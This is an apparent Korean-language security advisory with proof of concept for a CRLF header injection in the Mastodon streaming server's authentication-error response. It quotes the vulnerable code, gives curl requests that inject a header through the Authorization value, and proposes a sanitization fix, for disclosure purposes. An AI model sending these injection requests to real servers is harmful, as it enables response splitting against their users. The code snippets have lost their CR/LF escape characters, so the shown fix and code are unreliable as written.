
# Mastodon 스트리밍 서버 보안 취약점 PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection
| 항목 | 내용 |
|---|
| CVE ID | CVE-2026-XXXXX |
| 영향을 받는 제품 | Mastodon (Streaming Server) |
| 영향을 받는 버전 | <= 4.5.9 |
| 구성 요소 | streaming/index.js 188-206행 |
| 취약점 유형 | HTTP 응답 헤더 인젝션 / CRLF 인젝션 |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (Medium) |
| 공격 벡터 | 네트워크 |
| 발견자 | qitian [email protected] |
WebSocket 업그레이드 요청이 인증에 실패할 때, Mastodon Streaming Server가 streaming/index.js 188-206행에서 수동 HTTP 응답을 구성하고, socket.end()를 통해 X-Error-Message 응답 헤더에 errorMessage를 직접 쓰는데,
또는
문자를 전혀 정화(sanitize)하지 않습니다.
따라서 인증되지 않은 원격 공격자가 임의의 HTTP 헤더를 주입하거나 HTTP 응답 분할(Response Splitting)을 수행할 수 있습니다.
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}
`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
예상 결과: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
소켓 헤더에 쓰기 전에 errorMessage를 정화합니다:
const sanitizedMessage = String(errorMessage || '')
.replace(/
/g, '%0D')
.replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| 날짜 | 이벤트 |
|---|---|
| 2026-04-22 | 취약점 발견 및 PoC 작성 |
| 2026-04-22 | CVE 보고서 MITRE / VDB에 제출 |
면책 조항: 이 PoC는 교육 및 보안 연구 목적으로만 사용됩니다.